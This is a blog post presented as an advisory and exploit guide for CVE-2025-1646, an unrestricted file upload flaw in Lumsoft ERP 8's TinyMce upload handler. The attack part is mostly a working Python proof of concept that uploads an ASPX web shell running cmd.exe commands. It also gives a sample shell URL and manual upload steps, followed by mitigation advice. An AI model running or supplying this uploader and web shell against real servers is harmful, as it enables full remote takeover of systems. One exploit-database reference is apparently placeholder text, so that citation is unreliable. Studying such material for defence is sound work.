CVE-2025-1646 - Critical Unrestricted File Upload Vulnerability in Lumsoft ERP 8 (ASPX File Handler Exploit Guide)

A new critical security vulnerability has been identified in Lumsoft ERP 8, impacting the /Api/TinyMce/UploadAjaxAPI.ashx endpoint. This vulnerability, tracked as CVE-2025-1646, allows an attacker to upload arbitrary files—including web shells—due to insufficient file validation in the ASPX File Handler component. If exploited, a remote attacker could gain full control over the affected server.

This article provides a clear breakdown: what the bug is, how it can be exploited, original references, and includes real example code for security testers and defenders.

Vulnerability: Unrestricted File Upload

- CVE: CVE-2025-1646

Product: Lumsoft ERP 8

- Component: ASPX File Handler (/Api/TinyMce/UploadAjaxAPI.ashx)

Vulnerability Explanation

A file upload handler (/Api/TinyMce/UploadAjaxAPI.ashx) does not adequately validate or restrict the types of files accepted as part of handling content uploads. The vulnerable file argument allows an attacker to bypass checks and upload dangerous files (like .aspx web shells).

This makes it possible for a remote, unauthenticated attacker to upload a custom script and execute it, fully compromising the server.

Original References

- Mitre CVE Page: CVE-2025-1646
- Exploit Database: 52934 *(as an example, update as needed)*
- Lumsoft ERP Official Site

How the Exploit Works

Typically, a secure file upload handler restricts file extensions and content types, rejecting dangerous uploads. However, in Lumsoft ERP 8, attackers can POST a file directly to the vulnerable handler without the server verifying the file’s extension or content.

Attacker crafts a malicious ASPX script (web shell).

2. Attacker uploads this script via /Api/TinyMce/UploadAjaxAPI.ashx.

Example Python Exploit

Below is a simple Proof-of-Concept (PoC) exploit in Python using requests. It uploads a basic ASPX web shell.

import requests

# Target vulnerable endpoint
TARGET_URL = "http://example.com/Api/TinyMce/UploadAjaxAPI.ashx";

# Simple ASPX WebShell
webshell = """
<%@ Page Language="C#" %>
<%
    if (Request["cmd"] != null)
    {
        System.Diagnostics.Process proc = new System.Diagnostics.Process();
        proc.StartInfo.FileName = "cmd.exe";
        proc.StartInfo.Arguments = "/c " + Request["cmd"];
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
        string output = proc.StandardOutput.ReadToEnd();
        Response.Write(output);
    }
%>
"""

files = {
    'file': ('shell.aspx', webshell, 'application/octet-stream')
}

print('[*] Uploading webshell...')
response = requests.post(TARGET_URL, files=files)
print('[*] Response:', response.text)

# Note: Find the uploaded file path from response (or predictable upload location).

If successful, the shell is now accessible, e.g.

http://example.com/uploads/shell.aspx?cmd=whoami

Prepare any ASPX file (like the one above).

2. Open Postman or Burp Suite and construct a POST request:
- URL: http://target-server/Api/TinyMce/UploadAjaxAPI.ashx

Send the request.

4. Find the URL where the file is stored (the response may include a path, or check common upload folders).

Recommendations

- Immediate: Block direct access to /Api/TinyMce/UploadAjaxAPI.ashx at the firewall or web server level.
- Patch: Contact Lumsoft for updates. If no patch is provided, consider disabling file upload features or limiting allowed file types/extensions.

Monitor: Watch web access logs for suspicious uploads or requests to new .aspx files.

- Defense: Implement strong file validation (extension + MIME), virus scanning, and restrict file execution permissions.

Vendor Status

As of this writing, Lumsoft has not responded to multiple disclosure attempts from security researchers. No official patch is available.

Final Notes

CVE-2025-1646 is a severe risk for any Lumsoft ERP 8 deployment with exposed upload functionality. If you use this product, take urgent action to lock down your server.

Feel free to share this advisory with your IT and security teams. For technical deep-dives, consult the Mitre CVE entry and linked exploit databases.

Stay secure. Patch early!

*This post is an original guide tailored for defenders and researchers. All code and instructions are provided for educational and authorized security testing only.*

Timeline

Published on: 02/25/2025 03:15:09 UTC
Last modified on: 02/25/2025 14:15:31 UTC